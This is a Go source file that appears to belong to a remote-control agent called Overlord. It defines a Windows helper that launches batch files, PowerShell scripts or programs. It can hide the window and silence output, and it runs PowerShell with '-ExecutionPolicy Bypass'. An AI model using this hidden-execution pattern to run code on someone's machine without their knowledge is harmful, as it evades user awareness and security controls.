Files
overlord/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go
T
2026-03-05 00:04:26 -06:00

61 lines
1.5 KiB
Go

//go:build windows
// +build windows
package handlers
import (
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"golang.org/x/sys/windows"
)
func startSilentProcess(command string, args []string, cwd string, hideWindow bool) error {
ext := strings.ToLower(filepath.Ext(command))
var cmd *exec.Cmd
switch ext {
case ".bat", ".cmd":
cmd = exec.Command("cmd.exe", append([]string{"/c", command}, args...)...)
case ".ps1":
cmd = exec.Command("powershell.exe", append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)...)
default:
cmd = exec.Command(command, args...)
}
if cwd != "" {
cmd.Dir = cwd
}
if hideWindow {
attr := &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
if err == nil {
cmd.Stdin = nullFile
cmd.Stdout = nullFile
cmd.Stderr = nullFile
}
cmd.SysProcAttr = attr
return cmd.Start()
}
switch ext {
case ".ps1":
psArgs := append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)
cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "powershell.exe"}, psArgs...)...)
case ".bat", ".cmd":
cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "cmd.exe", "/c", command}, args...)...)
default:
cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", command}, args...)...)
}
if cwd != "" {
cmd.Dir = cwd
}
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: false}
return cmd.Start()
}